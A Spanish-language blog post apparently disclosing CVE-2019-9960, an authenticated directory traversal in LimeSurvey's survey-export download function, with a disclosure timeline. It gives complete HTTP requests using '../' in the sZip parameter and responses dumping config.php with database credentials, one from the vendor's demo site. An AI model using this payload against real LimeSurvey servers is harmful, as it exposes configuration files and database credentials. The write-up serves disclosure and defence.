LimeSurvey es una aplicación de código abierto escrita en PHP, creada específicamente para realizar encuestas online. Es realmente útil para aquellos usuarios que carecen de conocimientos de programación, ayudándoles a generar un entorno para la recogida de respuestas sobre sus encuestas.
Hace un tiempo atrás, encontramos y reportamos una vulnerabilidad de descarga arbitraria de archivos en Limesurvey, la cual está registrada como CVE-2019-9960. Esta vulnerabilidad permite a un Administrador descargar archivos internos del servidor, a través de un Directory Traversal. La vulnerabilidad afecta a las versiones <= 3.15.9+190214.
Hasta la fecha, LimeSurvey cuenta con un total de 2.192 estrellas en GitHub.
Encontrando los bugs
Cuando un usuario exporta la estructura de una encuesta al formato *.lss, se genera un modal con el botón “Descargar archivo”.
El mismo, al ser ejecutado, genera una petición GET a la siguiente URL:
/index.php/admin/export/sa/downloadZip/sZip/pb46rb245xhdv8aqtpebzpbpaw5pb8
LimeSurvey utiliza el formato Pretty URL, mediante el cual se realizan llamadas a diferentes acciones en los distintos controladores que componen la aplicación. La URL anterior se estructura de la siguiente manera.
Por un lado, admin/export hace referencia al controlador:
./application/controllers/admin/export.php.sa
Este corresponde al parámetro GET que recibe el nombre del método a ejecutar, en este caso, downloadZip.
Por último, sZip es el parámetro GET que recibe el nombre del archivo a descargar:
pb46rb245xhdv8aqtpebzpbpaw5pb8.
Una vez que el usuario realiza la petición HTTP, se realiza una llamada al controlador ./application/controllers/admin/export.php en la función downloadZip().
Esta función recibe como argumento el valor del parámetro “sZip”. Como se puede ver en el código el parámetro, no está correctamente saneado antes de un Directory Traversal, por lo que es posible acceder a cualquier tipo de ficheros internos del servidor.
Dame el archivo
A continuación, se muestra cómo es posible descargar el fichero de configuración de LimeSurvey ubicado en ./application/config/config.php.
Solicitud HTTP:
GET /LimeSurvey-3.15.9-190214/index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/LimeSurvey-3.15.9-190214/index.php/admin/survey/sa/listsurveys
Cookie: shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; PHPSESSID=rsh6r3jcnovp0dgs0i4dak5op3; YII_CSRF_TOKEN=WjNuR09MSWZ3Y0hoanV6M1Y1Y2wwQzJIaThZZmJMbEEK4nio9riEgrzfLfI_4GxA3fGccJytOU75JHXW7Vuo-A%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1
Solicitudes de actualización inseguras: 1
Respuesta HTTP:
HTTP/1.1 200 OK
Date: Tue, 26 Mar 2019 06:04:55 GMT
Server: Apache/2.4.25 (Ubuntu)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Disposition: attachment; filename=surveys_archive.zip
Last-Modified: Tue, 26 Mar 2019 06:04:55 GMT
Content-Length: 2729
Connection: close
Content-Type: application/force-download; charset=UTF-8
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=limesurvey;password=limesurvey;dbname=limesurvey;',
'emulatePrepare' => true,
'username' => 'limesurvey',
'password' => 'limesurvey',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */
En versiones anteriores de Limesurvey, por ejemplo en la 3.15.8, el vector de explotación cambia de la siguiente manera. Créditos a Alejandro Parodi por la generación del payload.
Solicitud HTTP:
GET /index.php?sZip=../application/config/config.php&r=admin/export/sa/downloadZip HTTP/1.1
Host: demo.limesurvey.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://demo.limesurvey.org/index.php?r=admin/survey/sa/listsurveys/active/Y
Accept-Encoding: gzip, deflate
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=1271dn8v8kaum3i1esap4huti2; YII_CSRF_TOKEN=Y090aExYVEY1MllyZX5xREl1RE9qdDZFX2NCam13ZG0XxMSEeBdhJpz-XHL05irg2AUNbmc1Uccgag4YR_bkrQ%3D%3D
Respuesta HTTP:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Mar 2019 05:04:15 GMT
Content-Type: application/force-download; charset=UTF-8
Connection: close
Content-Disposition: attachment; filename=surveys_archive.zip
Expires: 0
Last-Modified: Fri, 08 Mar 2019 05:04:15 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Security-Policy: worker-src www.limesurvey.org 'self'; connect-src 'self'; default-src 'self' www.limesurvey.org fonts.gstatic.com; font-src 'self' fonts.gstatic.com netdna.bootstrapcdn.com github.com; form-action 'self'; frame-src www.limesurvey.org 'self' www.limesurvey.com; img-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' maps.googleapis.com ajax.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; frame-ancestors 'self';
Content-Length: 3115
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'mysql:host=localhost;port=3306;dbname=c1***********;',
'emulatePrepare' => true,
'username' => 'c1**********',
'password' => 'mshj34782bdbnv783***************************',
'charset' => 'utf8mb4',
'tablePrefix' => 'lime_',
),
// Uncomment the following line if you need table-based sessions
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'get',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
"demoMode" => true,
"demoModePrefill" => true,
"defaultuser" => 'demo',
"defaultpass" => 'demo',
'force_ssl'=>'on',
'usePluginWhitelist' => true,
'pluginCoreList' => [
'AuditLog',
'ExportR',
'ExportSTATAxml',
'extendedStartPage',
'oldUrlCompat',
'Authdb',
]
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */
Calendario
- 2019-03-08 Se informó de la vulnerabilidad al proveedor.
- 2019-03-08 ¡Vendedor dio las gracias!.
- 2019-03-14 Corrección publicada
Conoce más vulnerabilidades aquí en nuestro blog
Referencias
- Recorrido: https://www.owasp.org/index.php/Path_Traversal
- Directory Traversal: https://es.wikipedia.org/wiki/Directory_traversal
- Descarga de archivos arbitrarios: https://resources.infosecinstitute.com/arbitrary-file-download-breaking-into-the-system/#gref